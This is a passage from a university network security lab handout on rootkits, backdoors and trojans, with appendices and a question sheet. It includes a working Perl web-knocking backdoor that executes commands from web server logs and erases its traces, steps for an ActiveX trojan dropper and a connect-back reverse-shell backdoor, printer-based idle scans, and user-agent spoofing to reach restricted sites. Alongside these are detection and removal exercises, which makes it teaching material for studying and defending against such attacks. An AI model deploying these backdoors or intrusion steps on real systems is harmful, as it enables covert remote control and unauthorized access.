“bad.txt”. Also, while we are at it, remove the printf statement “got in [my]open”, no use in
alerting a user that anything is going on.
return orig_open("bad.txt", flags, mode);
!bad.txt!
71
bad file
Now retry
./testlib.sh testDyam
Now we are opening up the wrong file, all without altering the precompiled testDynam file at all.
By doing this sort of thing an attacker can replace all calls to any library that he wants, leaving
the original libraries intact.
PREVENTION
There is not much you can do as a system administrator to prevent this. A programmer has
several things that they can do to prevent this, for example they could statically compile the
program, they could use the explicit function loading like the sample exploit library or they can
make their program setuid (although this is tricky, as seen in the man page for setuid
http://www.homeport.org/~adam/setuid.7.html). While all these methods would work they are
not things you the system administrator can compensate for unless you have the source code and
are willing to edit it / recompile it. Additionally, it is not feasible to expect programmers to make
their programs safe from these sorts of exploits. Not only would this sort of protection be trickier
to implement than not in their programs but in addition LD_PRELOAD is a feature of Linux that
can be and is used for legitimate purposes. For example The Plastic File System
(http://plasticfs.sourceforge.net/) uses LD_PRELOAD to give virtual file systems in Linux.
Fortunately there is some good news, as this is a shell based exploit, simply destroying the shell
is generally enough to disable it (as evidenced by our test program). This does not address the
potential issue of putting loading code into the shell configuration files and/or situations that
rarely, if ever destroy a shell. Hence the best way to deal with it is to simply prevent anyone
from being in a position to exploit a shell like this.
72
Appendix G: Dynamic Library Manipulation
Web Knocking
Since traditional port knocking requires that the machine needs to be reachable at any of its
ports, firewall rules can easily be setup to protect machines such as Web Servers and Mail
Servers that render services at specific ports.
The concept of Web knocking involves sending HTTP requests to a web server. These may be
invalid requests or requests to pages which do not exist. These requests contain, embedded in
them, commands to be executed.
The primary difference between port knocking and web knocking is that if a firewall
exists, all port knocking attempts can be thwarted, however, web knocking attempts will
still be let through, since the firewall, by default will have to allow traffic on port 80 to
reach the web server.
User
Port knocking
attempts are
blocked by firewall
9250
5250
2234
1250
404
Web knocking
requests are allowed
to pass through
firewall.
80
Web Server
80
Firewall
(Only port 80 open)
Port knocking v/s Web knocking
For further details: (You may have to use Google Translate ® )
[http://semaphor.homeunix.org/semaphor.php?item=webknocking]
73
(Our version of web knocking is simpler, wherein the knocking code is just a single page.
The implementation can be extended to include a complex knocking sequence which
opens up a port or sets up a remote shell)
A proof of concept web knocker script in Perl is on the NAS. This program performs the
following tasks:
a. Define the knocking code
(The value in $var, defines the knocking code used to activate the web knocker)
b. Extract all lines from the apache error_log which contain the knocking code
(This is done so that we can see whether someone has sent the knocking code)
(We search the error_log, since this is the place all 404 File not found errors are)
c. We see which commands have already been executed and ignore those
d. For each unexecuted command, we execute it.
(If we were to run this is stealth mode, the output would not appear on screen)
e. If we wish to erase all traces of our web knocker, we send the command “clean_up”
following the knocking code.
( http://target/command_to_execute=clean_up )
knock.pl
$var = "command_to_execute=";
$fname = "cmd_exec";
#Knocking code which precedes a command
#Temp FileName
system("cat /usr/local/apache2/logs/error_log | grep $var > $fname.new");
#Extract all lines from the log file
#which contain knocking code
if(! -e $fname. ".old")
{
system("touch $fname.old");
#Create a blank file if it does not exist
}
system("diff $fname.new $fname.old > diff_file");
#Find the commands which have not been executed
$LOGFILE = "diff_file";
open(LOGFILE) or die("Could not open diff file.");
foreach $line (<LOGFILE>) {
$index = index($line,$var);
$strt = $index + length($var);
#print "Starting : $strt : ";
$cmd=substr($line,$strt);
#Extract the command to be executed
if (! $cmd eq "")
{
if($cmd eq "clean_up")
{
system("rm -f $fname.*");
#Clean up temp files
system("rm -f $LOGFILE");
#We can also remove all traces from the logs as well
exit(1);
}
74
print "Executing : $cmd";
}
system($cmd);
}
close(LOGFILE);
system("mv $fname.new $fname.old");
#Tell the user the command is executing
# Can be commented out if running in silent mode
#Execute Command
#Store all completed commands in old file
We would ideally run this script as a cron job to ensure that it is constantly running in the
background, instead of running it in a while loop, because of which it will show up as a running
process.
Setting up Web Knocking: [On the RedHat7.2 machine]
Install apache on the Redhat7.2 machine (if you do not already have it on your 7.2 machine):
 From NAS, copy httpd-2.0.54.tar.gz (Apache Web server 2.0) to your home/tools
directory.
 tar xvzf httpd-2.0.54.tar.gz
 cd into the httpd-2.0.54 directory
 Type the command ./configure –prefix=/home/apache2 (this command sets the default
directory of the server)
 Type make
 Type make install
 cd into the /home/apache2/bin/ directory and run the command ./apachect1 start
 Open mozilla and enter the web address http://localhost. If a default apache webpage
appears, the web server was properly installed.
If you do already have it on your machine:
/home/apache2/bin/ apachect1 restart
Will get it going for you.
To perform web knocking, one needs to send a knocking code to the web server. In our example,
the knocking code is “command_to_execute=”, followed by the specific command which we
wish to execute.
Try numerous different commands such as ls, ll, ps, w, etc and note the results.
http://a.b.c.d+1/command_to_execute=ll
http://a.b.c.d+1/command_to_execute=ps
http://a.b.c.d+1/command_to_execute=w
Additionally, you could also execute netcat to open a reverse shell from the server to your
machine.
75
Copy the Perl file provided from NAS under folder lab 5.
Now, at the command prompt type
$ perl knock.pl
This will cause the perl script to be run, executing all the commands that were requested.
We do this so we can simulate the web knocker being executed as a cron script. Although setting
this script up as a cron job is beyond the scope of this lab, we intend to simulate its execution.
Screenshot P2#10 : Capture the output of the perl script
Your output should look like
[root@RedHat72 webknock]# perl knock.pl
Executing : ll
total 36
-rw-r--r-- 1 root root
0 Oct 10 23:12
-rw-r--r-- 1 root root 717 Oct 9 20:46
-rw-r--r-- 1 root root 735 Oct 10 23:12
drwxr-xr-x 2 root root 4096 Oct 9 20:36
-rwxrwxr-x 1 root root 1085 Oct 10 11:35
cmd_exec.new
cmd_exec.old
diff_file
hello
knock.pl
Executing : ps
PID TTY
TIME CMD
21023 pts/2
00:00:00 bash
21093 pts/2
00:00:00 perl
21102 pts/2
00:00:00 ps
Executing : w
23:12:15 up 2 days, 6:40, 4 users, load average: 0.08, 0.02, 0.01
USER
TTY
FROM
LOGIN@
IDLE
JCPU
PCPU WHAT
jeremy
:0
Sat19
?xdm?
7:24
0.03s /bin/sh
jeremy
pts/1
Sat19
2days 0.00s 0.56s kdeinit: kded
root
pts/6
23:12
0.00s 0.00s 0.00s /bin/bash
root
pts/2
57.35.6.166
23:11
0.00s 0.02s 0.00s perl knock.pl
[root@RedHat72 webknock]#
Under ideal conditions we would most likely set this up as a cron script so that it runs at fixed
intervals of time, say every five minutes. To setup this script as a cron script, one would have to
edit the crontab file in the /etc/ folder, however we will not do that in this lab.
76
Appendix H: Using Explorer’s ActiveX to Propagate
Trojans/Backdoors
Trojans can be distributed to users of explorer because of the use of Explorer’s ActiveX
which executes scripts from webpages. We will now use a backdoor named Tini and a program
that converts EXEs to HTML called EXE2HTML to infect a virtual machine. For this we
download a program called EXE2HTML and Tini from: http://www.illmob.org/files.html
Tini is a small backdoor (3 kb) which will be used to open a remote shell. Size is
important because this method will fail if the file is too big since it will occupy around 4 times its
size in html. Hackers will probably replace Tini for a small Trojan which automatically
downloads a bigger more complex Trojan from the internet.
The first step is to convert Tini into an html file to be sent over the internet. For this we
perform the following set of commands within one of your Windows copies:






Copy tini.exe to the same directory of EXE2HTML.EXE
Double click on EXE2HTML.EXE
Press Tab three times to get to the Source File: option.
Type the name of the file to be converted to html (i.e. tini.exe)
Press Tab five more times to reach [ ] None and check it by pressing enter
Press Tab nine more times to reach [ ] Compile HTML.
Your window should now look something similar to the following screen shot:
77

Press Enter.
You will now have an html file named OUTPUT.HTML. This page contains the file
Tini.exe and the code necessary for internet explorer. An attacker will probably place this page
in a web server and give links to the people he wants to infect. We will Double click on this html
file to open it using internet explorer. This simulates opening a web page from a web server. You
will see a window like the following:
78
Internet Explorer tries to warn you but most people just click Yes to continue. In versions 5.0/5.1
of Internet Exporer, it does not ask if you want to run the ActiveX control.

Click Yes to accept.
Because the html file was opened, the file WINDRV.HTA was created on Start>All
Programs>Startup which contains the program to be executed.
79
The executable webpage is placed here because it will now be executed every time the
computer boots.

Reboot your virtual machine.
After the reboot, turn on another virtual machine to telnet from. It can be either windows or
linux. Type:

telnet <Target IP> 7777
7777 is the port number of Tini. Now wait a few seconds and press Enter. It is important that
you press Enter or you will not see anything. In linux you will now get a shell as illustrated on
the following screen shot:
80
In windows you will see the following:
81
You can remove this program by going into the startup folder within the Start Menu ->
Programs and deleting the file. You can check that it is successfully removed by running
TCPView before and after removal.
General Questions
How long did it take you to complete this lab? Was it an appropriate length lab?
What corrections and or improvements do you suggest for this lab? Please be very specific and if
you add new material give the exact wording and instructions you would give to future students
in the new lab handout. You may cross out and edit the text of the lab on previous pages to make
corrections. What corrections and or improvements do you suggest for this lab? Please be very
specific and if you add new material give the exact wording and instructions you would give to
future students in the new lab handout. You need to be very specific and provide details. You
need to actually do the suggested additions in the lab and provide solutions to your suggested
additions. Caution as usual: only extract and use the tools you downloaded in the safe and
approved environment of the network security laboratory.
82
Appendix I: Simple Connect Back Backdoor
Hackers may distribute backdoors through email, software installs, and various other methods.
These methods do not allow the hacker to know what computers are compromised. A connect
back backdoor takes care of this problem. Instead of the hacker connecting to the compromised
computer, the compromised computer tries to connect to the hacker’s computer. The source
code can be found at:
http://www.governmentsecurity.org/forum/index.php?showtopic=9751&hl=connect
This backdoor consists of a client and a server program. The client program is called
bootcfg.exe, and is run on the compromised computer. The server program is Cryptcat, which is
basically netcat with encryption. bootcfg has a couple of interesting features. The first time the
program is run, the executable is copied to the “C:\Windows\System32” folder with a random
name, check “cbbd.c” to see how the random names are chosen, and registry keys are added so
that the program will run at startup. The program will continually try to send a command shell to
the server’s computer, whether it is on or not. The packets are encrypted so they will not be
picked up as easily by intrusion detection software looking for cmd.exe signatures crossing the
network.
For this demo, two Windows XP machines are needed.
On both machines download the “CBBD.zip” file from the NAS server and unzip.
On one of the Windows XP machines, do the following:
Open the CBBD folder
Open the “settings.h” file in a text editor
Replace IP_ADDRESS with the IP of the other XP machine and save the file
Double click nmake.exe to compile the program
Double click bootcfg.exe to run the
On the other Windows XP machine, do the following:
Select Start->Run
Type “cmd” and press enter
Change the directory to the CBBD folder
Type “cryptcat –l –p 1080 –k tsunami” and press enter
After a few seconds a command shell should appear
Type XXX
To end the connection type “exit”
Take a screenshot (P2#9) of the spawned command shell.
83
Using your on knowledge and the knowledge gained from this lab, how can you detect this
backdoor?
Answer: Use netstat to see that new ports are open, use Ethereal to see that outgoing packets are
randomly being sent to an unknown IP, check msconfig to see that a new program has been
added to the startup processes.
Why would the hacker not want to setup the program to connect directly to his computer?
Answer: The program tries to constantly connect to the setup computer, so it would make it easy
for authorities to find the IP of the hacker.
Deleting the Program:
The bootcfg.exe program creates a copy of itself using one of the following names:
1. _default.pif
2. msdtcvtr.bat
3. ntfsboot.exe
Goto the “C:\Windows\System32” folder and delete any instance of the above names found.
Also, two registry keys need to be checked for and deleted if the are present:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft
Boot Loader
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft
Boot Loader
*Note: Visual Studio 6 needs to be installed on the XP computers for the NMAKE.exe to work.
84
Appendix J: The Thompson Hack
Overview
The Thompson Hack, created by Ken Thompson, shows how a compiler could be modified to
plant a Trojan horse into the system's login authentication program so that it would accept a
known password. In addition, the compiler could be altered to propagate this change when it was
recompiled from its (unmodified) source code. This attack is a well-known theoretical, and
recent real-world, backdoor attack strategy.
The Big Picture
The Thompson Hack shows that even if the source code is vulnerability free, the compiled
executable may not be. The only executable that can truly be trusted is one that is completely
created by yourself. Additionally, through his attack, Ken Thompson showed that code review is
not always enough to find security vulnerabilities. In the past few years, Internet Security
Systems has labeled this vulnerability as a real threat.
Theorya
The Thompson Hack involves putting two specific “bugs” into the compiler source code. The
first bug is the Trojan horse that actually accomplished the attack’s goal – inserting a backdoor.
The Trojan horse looks for specific types of source code and implants a backdoor. A typical
example is for the compiler to look for a Unix login.c file and insert a backdoor into the Linux
authentication process. The image below demonstrates what the compiler source might look
like.
“This replacement code will match code in the UNIX “login” command. The replacement code
will miscompile the login command so that it will accept either an intended encrypted password
or a particular known password. Thus, if this code were installed in binary and the binary were
used to compile the login command, a backdoor would be installed into the login process.
However, such blatant code would not go undetected for long. Even the most casual perusal of
the source code would raise suspicion” (Thompson).
Therefore, we must install a second “bug.”
a
Thompson, Ken. Reflections on Trusting Trust.
85
This second pattern matcher will match itself and reinstall both of these “bugs.” By using this
method, the bug can be removed from the source code, yet and further compilations will reintroduce the backdoor and the code the re-introduce the code into the executable anytime the
compiler is re-complied. While, we have picked the C compiler, any program-handling program
such as an assembler, a loader, or even hardware microcode could be taken advantage of.
Here is a diagram explaining out the bug works:
COMPILER
A - Clean
Source Code of Compiler A
Does not have bug(s).
E A - Dirty
Compiler Executable
Inserts both bugs into new
executable
E A - Dirty
New Compiler Executable
Contains both bugs and will
Insert both bugs on any recompile of its own source.
Why this attack works
The Thompson Hacks works because it is very difficult to detect, there are no known defenses,
and the ability to locate a trusted compiler can be difficult. Couple this with the growing
complexity of compilers and the Thompson Hack can be very effective.
Detection
There are several theories regarding the best way to detect the Thompson Hack; however, David
A. Wheeler’s Diverse Double Compilation theory seems to be the leading theory. Wheeler
argues that you can simply recompile the source code twice: once with a second (trusted)
compiler, and again using the result of the first compilation. If the result is bit-for-bit identical
with the untrusted binary, then the source code accurately represents the binary. The main
argument against this theory is that you may not have a trusted compiler.
References and Images
Thompson, Ken. Reflections on Trusting Trust
http://www.acm.org/classics/sep95/
86
Wheeler, David A. Countering Trusting Trust through Diverse Double-Compiling.
http://www.dwheeler.com/trusting-trust/
Wikipedia: Ken Thompson
http://en.wikipedia.org/wiki/Ken_Thompson
87
Appendix K: HP JetDirect Exploitation
Background
This part of the lab highlights one of the additional network vulnerabilities that network
administrators face beyond the general scope of personal computers and servers. HP JetDirect
based printers are the leading office printers in the United States. Depending on the age and
model they generally contain a small CPU (~200 MHz), a storage area (solid state memory or a
hard-drive of varying size), and a web interface. Given its low priority on the network, HP
JetDirect printers are rarely secured with passwords or contain up-to-date firmware which makes
them ripe for exploitation.
HP JetDirect Printers utilize the telnet protocol, which is always accessible on port 9001, to
allow remote configuration of the printer system via JetDirect administrative software.
Exercise _.1: Hijetter Installation and Use
Though more advanced settings can be manipulated by directly communicating with the printer
with the telnet interface, it is easier to use 3rd party tools such as Hijetter. Hijetter can be
downloaded in both Windows and Linux distributions from
http://www.phenoelit.de/hp/download.html. In this lab we will utilize the windows interface for
its easy to use GUI. After downloading hijetter standalone .exe, open the program and enter in
the IP address of the printer you want to attack (57.35.6.7)
Screenshot 1: Hijetter GUI
Upon connecting to the printer the three middle icons will light up. Please note that if the printer
is in standby it will take a while to connect. You will want to click the right icon which
represents the digital display of the printer. From here you can add any message to the printer
screen that you want (just type in the message, select the message type, and click the checkmark
button). Screenshot 2 below highlights one of the infinite possibilities you could choose. To
remove your message, just enter in blank message.
88
Screenshot 2: Printer Display
Question 1: What is the difference between the Display message type and the Failure message
type? How do you remove the failure message without clearing it remotely (Hint try one of the
printer buttons)? The display message replaces the ready message during normal operation
while the failure message displays a customized error message with green and red flashing
lights. To clear the failure message press the Go/Resume button on the printer.
The middle icon brings up the different administrative and printing properties of the machine
(Screenshot 3). As we don’t want to disrupt printing we won’t be editing any of these at this
time.
Screenshot 3: Printer Properties
Question 2: Is the password on the printer enabled or disabled? DISABLED
If the printer is password protected the password is easily discoverable via an SNMP exploit or
by the provided “Chaiservices” that come with hijetter. This exploit as well as the telnet syntax
for HP JetDirect is defined in detail at
http://www.irongeek.com/i.php?page=security/networkprinterhacking.
89
Lastly in Hijetter, we will look at the file-system of the printer by clicking the left icon in
Hijetter. This should bring up a screen similar to Screenshot 4. Though it isn’t available on the
LaserJet 8000 found in lab, many of the newer JetDirect printers utilize a web server from which
we could easily add and remove files to via this transferring program.
Screenshot 4: Printer
Filesystem
Exercise _.2: Using HP JetDirect for port scanning
Now we will try to use the printer in order to perform reconnaissance on the network. To do so
we will perform NMAP from the Linux WS 4.0 machine through the printer. Due to the network
settings on the printer the attack will appear to come from the printer unless a network
administrator is actively sniffing the network traffic and determines otherwise.
To perform the NMAP use the terminal to type in:
nmap -P0 -sI 57.35.6.7 57.35.6.9
Question 4: Were you able to NMAP through the printer and if so how long did it take? YES, it
should take a few minutes as the printer is slow to respond.
Question 5: What type of NMAP attack is this generally referred to as (hint: use the internet
references provided to help search for it)? Zombie Scan
Screenshot _: Attach a screenshot of your NMAP results. Screenshot should be NMAP of
LaserJet 4000
90
Appendix L: Googlebot Backdoor
This addition introduces an existing backdoor in many different web servers currently accessible
on the internet. Many webservers allow Google's Googlebot access to their entire website,
including many directories hidden from the general public.
This lab addition describes how to make web browser look like Google's Googlebot allowing
access to these hidden directories.
Reference: http://rushi.wordpress.com/2006/12/07/google-bots-backdoor-simple-trick/
Vulnerability
Have you ever gotten a search result from Google that if you follow that link, you are presented
with a login or register-to-see-contents webpage? How can Google show you restricted (e.g.,
password-protected, login-required) contents? Does that mean Google has accounts on such
websites? No. Those websites are simply allowing Google’s Googlebot to index their webpages
without the need for account/login information. So, if we look just like Googlebot, we may be
able to enter through those websites’ backdoors.
Why are these websites leaving these backdoors open? Marketing is the motivation behind this.
Those websites want to be on the top of search results, so they allow Googlebot to crawl their
websites. As you may have speculated, Googlebot is not the only bot. Yahoo, MSN, and other
parties have their own, so those websites probably allow ALL bots for better marketing.
Defense
Since this exploit is forging the HTTP_USER_AGENT, webservers can simply check for these
values using client-side and/or server-side scripts. Based on the result, webservers can redirect
users to any webpage
This section introduces an existing backdoor in many different web servers currently accessible
on the internet. Many webservers allow Google's GoogleBot to access their entire website,
including many directories hidden from the general public. This section explains how to make
your own web browser look like Google's Googlebot, and therefore allows them to have access
to these hidden directories.
Changing Firefox's User-Agent Field.
Changing your browser's user-agent field is simple on every browser currently available. This
section will only explain how to change your user-agent field in Firefox 2.0.0.7.
First check your current user-agent by typing in “about:” in your address bar. An
information page should appear and your browser should look like figure 19.1.
91
Figure 19.1. Firefox identification before changing user-agent.
Next, we will change your browser's user-agent field. First type in “about:config” in your
address bar. After this page loads,
 right click on your screen and choose New > String.
 In the preference name type general.useragent.override and press ok.
 For the string, type in googlebot and press ok.
Now we will again check your current user-agent field by going to the “about:” page. It
should now identify your browser as “googlebot” (see Figure 2)
Figure 19.2. Firefox identification after changing user-agent.
19.2
Checking for backdoor access.
You can now check various website on the Internet to see if you have more access than you
previously had. Many public forums on the Internet that require users to register to gain full
access to the forum allow Googlebot full access to their forum. Many pay sites also allow access
to all of their content to Googlebot.
92
Appendix L: VNC Replay Attack
This addition will show students how VNC traffic can be sniffed using ethereal, and then
analyzed to show plain text keystrokes being sent over the network.
This concept exploits the lack of security by default in VNC. The defenses are simple; VC can be
tunneled over SSH.
BACKGROUND
VNC has been shown in this lab as a Trojan backdoor that can be used to remotely control a target
computer. However, this program is traditionally used by system administrators to access computer
remotely. This section highlights some of the insecurity of this program, and the need for it to be
secured properly.
INSTRUCTIONS
VNC without Security
1. Install the VNC server on your redhat 7.2 virtual machine, and the VNC viewer on your linux host
machine. (see lab5 sec. 11 for detailed instructions)
2. Start ethereal on your host machine, and begin capturing packets
3. Open a VNC connection from the host machine to the red hat 7.2 virtual machine at the
command prompt by typing
 vncviewer 57.35.6.x+1:1
where x+2 is the last octet of your redhat 7.2 virtual machine IP address. The :1 specifies the X
server display number
4. In the terminal displayed in the VNC session, open an ssh connection to the host machine. Note
that numbers should be entered using the standard number keys, not the keys on the extended
number pad of the keyboard.
 ssh 57.35.6.x
5. Login to the ssh session with any valid username and password, type a few commands, and
create a text file with some top secret information. Then type quit.
6. Stop capturing packets in ethereal on your host machine, and then save the captured data as a
libcap file type.
7. Obtain the chaosreader script from NAS, and place it on your host machine in /root/chaosreader
8. Type the following command:
 /root/chaosreader <filename>
where <filename> is the name of the file that you saved from ethereal.
9. Chaosreader generates several files related to the types of connections it finds in the dump file.
Open the index.html file in Mozilla.
93
10. Find the VNC connection in the table. It’s entry will look something like this.
11. The keystrokes link will show keystrokes captured by ethereal. The session_0000.VNC.replay file
is a perl script which can be used to playback the VNC connection. See the script header for
details. The session_0000textVNC.replay file is a perl script that will “playback” the characters
typed over the VNC connection.
QUESTIONS
Q1. True or False: The ssh commands were successfully displayed using chaosreader.
Q2. Even though SSH uses encryption to transmit the password and commands, we’ve seen this
information recovered through packet sniffing with ethereal. How is this possible?
Q3. How might this vulnerability be defended against? You may want to search the internet for help.
ANSWERS
AnsQ1: True
AnsQ2: Ethereal has captured the keystrokes sent by VNC in plain text.
Ans Q3: Various. Examples include TightVNC, vnc over SSH (ssh tunneling), UltraVNC, etc.
SCREENSHOTS
94
REFERENCES
Chaosreader is a perl script developed by Brendan Gregg. It can be found on the internet at:
http://chaosreader.sourceforge.net/
This addition was inspired by an article by Nitesh Dhanjani. His article is available online at:
http://www.dhanjani.com/archives/2003/12/how_to_sniff_vnc_keystrokes.html
95
96
Appendix M: Windows Rootkit Defenses
We will be using three different programs to defend Windows from rootkits. These programs
can be found at the follow links:
Windows Malicious Software Removal Tool
www.microsoft.com/security/malwareremove/default.mspx
Antihook www.infoprocess.com.au/AntiHook.php
Sandboxie www.sandboxie.com
Windows Malicious Software Removal Tool
The first defense is the Windows Malicious Software Removal Tool. This file is called
“Windows-KB890830-V1.34.exe”.
With the growing threat of malware growing, Microsoft created this tool to help the common
user deal with malware. This tool requires updates often in order for this program to protect you
from the latest malware because this tool checks your computer based on a list of popular
malware. The main weakness of this program is that the user has to scan and update often.
Users cannot simply run this program once and not worry about it anymore. They must actively
use this tool if they want protection.
To test how well this tool works, load up HackerDefender, FU, netcat server, and ntbindshell at
the same time.
First, install the program by double clicking the executable and following the prompts. Next, run
the program. At the first screen, click the Scan button to begin scanning. This program will then
look through your computer for files that match certain malware signatures. You will be at a
screen that looks like below:
97
Eventually, you’ll get to a screen like below.
98
This tool only detects malicious well known malware and only certain popular backdoors.
QX.1. Which of these four malicious programs were detected?
QX.2. Why can you assume that some programs were detected and some were not?
Antihook
AntiHook technology was developed after years of security research on Windows
NT vulnerabilities and other type of attacks employing sophisticated user and kernel
level hacking techniques for gaining control over a user’s machine through
compromising application isolation and loading malicious binaries.


AntiHook is a proactive kernel mode protection that provides a Managed Operating
System Kernel environment.
AntiHook allows the system to be secured by detecting and preventing attacks in realtime; following the rule “prevention is better than cure”.
99



AntiHook is a behaviour based security framework. No updates are required and thus
providing zero-day protection from new threats.
AntiHook complements existing network firewalls, signature based virus protections and
adds value to Windows built-in security features. In fact with the ability to prevent
processes from being terminated or hooked it provides protection to other security
software running on the Windows host.
AntiHook is not just a security framework – with the ability to control the software that is
authorised to run it also has wide ranging applications in the software control and
licensing areas.
First, goto the nas4112/Lab5 folder and grab AntiHookProSetup.msi on your Windows machine.
Double click the file and follow the prompts to install it to your Windows machine. Now load
up AntiHook. You should notice that you now have an icon in your system tray.
Now that AntiHook is running, try to load up all four of the malicious programs from above.
QX.3. Which programs got through AntiHook and which were blocked?
Sandboxie
The final defense we will try in this section is Sandboxie. Sandboxie puts a transparent layer
between the hard drive and the user applications so that data is stored to Sandboxie Transient
100
Storage instead of the hard drive. The hard drive becomes read only and all writing is done to
this storage. With this, there is no permanent infection on your computer with malware,
although malware will get through until you clear the transient storage or restart the PC.
First, grab the file SandboxieInstall.exe from the nas4112/Lab5 folder. Double click on this
executable and follow the install prompts and then run Sandboxie. Now, goto the Function menu
in the upper left and load the program C:\Windows\cmd.exe. From this command prompt that
opens up, load the four malicious programs. An example of what happens is shown below:
101
QX.4. What was caught by Sandboxie from the four malicious programs?
102
QX.1. Which of these four malicious programs were detected?
FU and HackerDefender were detected. Netcat and ntbindshell got through
QX.2. Why can you assume that some programs were detected and some were not?
The Microsoft Malicious Software Removal Tool uses signatures that are downloaded to
find malicious rootkits, rather than heuristically. Since FU and HackerDefender are well
known rootkits that are often exploited in Windows, the software found them.
QX.3. Which programs got through AntiHook and which were blocked?
Blocked FU and HackerDefender since they use hooking or kernel modifications, but
netcat and ntbindshell got through (since they don’t use hooking). AntiHook blocks API
hooking (HackerDefender) or kernel data manipulation and memory subversion (FU).
QX.4. What was caught by Sandboxie from the four malicious programs?
HackerDefender, ntbindshell, and netcat. Sandboxie detects programs that try to leave a
footprint on the PC and store them instead in the transient storage. FU was not caught.
103
104
ECE 4112 Internetwork Security
Lab 5: Rootkits, Backdoors and Trojans
Group Number: _________
Member Names: ___________________
_______________________
Section 1: Lrk4
Q1.1: After logging in as user1, what do you see?
Q1.2: Check the date and the size of the login file and record it (use ls –l /bin/login).
Q1.3: (In /home/lrk4/bin) What is the size and date of this login file?
Q1.4: (After logging in as root with password “satori”) Once you have logged in, type
“whoami”. What is displayed?
Q1.5: Type “exit” and log in as user1 with the password you chose. Type “whoami” and
record what is displayed (your password still works here).
Q1.6: Type “exit” and now try logging in with username “user1” and password “satori”.
Can you log in? If you can, run “whoami” and record what you see.
Q1.7: Now, type the username “rewt” and password “satori” to log onto the system. Once
you have logged on, type “whoami”. What permission level do you have now?
105
Q1.8: (After using touch on the corrupted login) Record the output (of ls –l login*) and
what you think happened.
Q1.9: However, how do you know that the current /bin/login file is actually the corrupted
login file?
Q1.10: Also, type “exit” and try logging on as “rewt”. Can you log on?
Q1.11 : Write up a summary that details how an administrator would know that a system
had been exploited, i.e. file sizes, differing messages during login process, etc.
Q1.12: Use the dir command. Now, use the ls command. What is different about the two
outputs?
Q1.13: (With trojaned ls). The –c counts the total number of sytem calls, what is the total
number?
Q1.14: Now, copy the original ls form the backup folder, again in the /home directory, use
strace on ls. What is the number of system calls now?
Section 2: Knark
Q2.1: Again, run the kern_check program, how can you tell the machine is corrupted?
106
Q2.2: (With chkrootkit) Is the LKM detected?
Q2.3: What trick could chkrootkit use to detect Knark, and how could this be avoided by
Knark?
Q2.4: Do either show the file?
Q2.5: Again the /home directory, use the strace to count the number of system call, is this a
useful way of trying to detect a kernel rootkit? Why or why not?
Q2.6: The login now works the same as in the first part of the lab (including the error
where our roott password does not work), but what is the date and filesize of /bin/login?
Q2.7 Pick another Knark function and explain how it is used and what it would be good
for (think of hiding what the hacker has done/is doing). Include an example usage and
screenshots if necessary. (Screenshot P1 #1)
Q2.8: How can an administrator defend against kernel level rootkits?
107
Section 3: Rootkit Hunter: Not all rootkit detectors
are equal
Q3.1: What methods could RootkitHunter use to improve on its false-positive detection
rate?
Section 4: Hacker Defender
Q4.1: On your desktop, Right Click and go to Refresh. Can you still see the folder you just
created?
Q4.2: How do we know that Hacker Defender is running on our machine?
Q4.3: Again look at what processes you are “running” are you still able see that Hacker
Defender is running?
Section 5: TRIPWIRE
Q5.1 : Did Tripwire report any file changes? If so what?
Section 6: Detecting Rootkits on Windows
Q6.1: Do you think it is possible to hide from Rootkit Revealer ? State why.
Q6.2: Attach a screenshot of the RootkitRevealer Scan (Screenshot P1 #2)
Q6.3: Take screenshots of the process list before and after you hide a process. (Screenshot
P1 #3, #4)
Q6.4: Does Rootkit Revealer detect the presence of this rootkit ?.
Section 7: IceSword for Windows
108
Q7.1. Do you notice any difference in the two lists of processes currently running on the
computer?
Q7.2. Can you see the roottest folder which was hidden by the HackerDefender by using
the IceSword GUI?
Section 8: SuckIT
Q8.1: The sucKIT rootkit is not a LKM. It attacks the kernel memory through user-space
processes by attacking what file? You may have to search the internet for this information.
Q8.2: Does the rootkit detection software find any evidence of sucKIT? If so, what does the
warning look like?
Q8.3: Record the output you see on the screen. What information alerts you to a possible
infection?
Backdoor and Trojans part of the lab:
Section 9 Installing and Using Netcat
Q9.1.1. Is the binary filing the same, or has it been altered? Compare the file sizes of the file on
the two systems as it is transferred back and forth.
Q9.1.2. What can you say about Netcat’s ability to transfer binary files?
109
Q9.1.3. What do you conclude from this?
Screenshot P2 #1:Take a screenshot of these windows and submit it with your report.
Q9.1.4. Draw a diagram explaining how the relay works and the directions of data flow.
Q9.1.5. Aside from the four uses listed in this lab, Netcat can be used in many different ways.
Suggest another way that Netcat could be used (in detail).
Q9.1.6. What defenses could you use against an attack like netcat backdoor?
Section 10. Icmp-backdoor
Screenshot P2 #2: Take a screenshot of the ethereal output.
Q10.1.1. What defenses could you use against an attack like icmp backdoor?
Section 11. Installing and Using Virtual Network Connection (VNC)
Q11.1.1. How would you detect that VNC was installed and/or running on your Windows
machine?
110
Q11.1.2. How would you detect that VNC was installed on your Linux machine?
Screenshots P2 #3, P2 #4:Take a screenshot of the VNC server screen and another of the
VNC viewer accessing the VNC server. Turn these in with your report.
Q11.1.3 What defenses could you use against an attack like VNC?
Section 12. BO2K BackDoor
Screenshot P2 #5: Submit a screenshot of BO2k successfully being used to gain access to
the password file of the WinXP victim.
Section 13: Using a Simple Backdoor Program in C
Screenshot P2 #6. Take a screen shot of the remote access over the telnet connection and
hacked login.
Section 14: Backdoor Detection
Screenshot P2 #7. Turnin a shot of the new process created.
Screenshot P2 #8. Screen shot of the popup box with the path of the nc.exe program and
command line arguments.
Section 15: Walkthrough Firewalls with Ack Tunneling
Screenshot P2 #9. Screenshot of the attacking machine running the ack tunneling attack.
Section 16: Port Knocking
111
16.1) Create an access rule to allow an OpenBSD 3.3-3.5 box on the non-routable 10.0.0.0/8
subnet to access port 22 using an encrypted knock sequence.
16.2) It was mentioned that port knocking began with a virus. Why would a virus writer
want to include port knocking in the backdoor?
16.3) No mention was made as to how port knocking servers finally close the open firewall
port. List 2 ways which could be employed to close the port.
Section 17: Tricking Users into Opening Backdoors
Q17.1.1 Does the notepad program appear after closing the calculator program?
Go back to the processes window.
Q17.1.2 Can you see notepad.exe in the processes window this time?
Q17.1.3 How do you detect a Trojan of this kind?
18. 1. Can you see the file you created?
18.2. What happened in the previous exercise?
112
18.3. In your Windows Explorer, go to directory: C:\Windows\system32\$sys$filesystem.
What happens?
18.4. Now go to that directory through the cmd prompt. What files do you see?
18.5. Can you see any suspicious running processes that weren’t on Windows Task
Manager? If so, what?
18.6. Do you see the file and folder that were hidden?
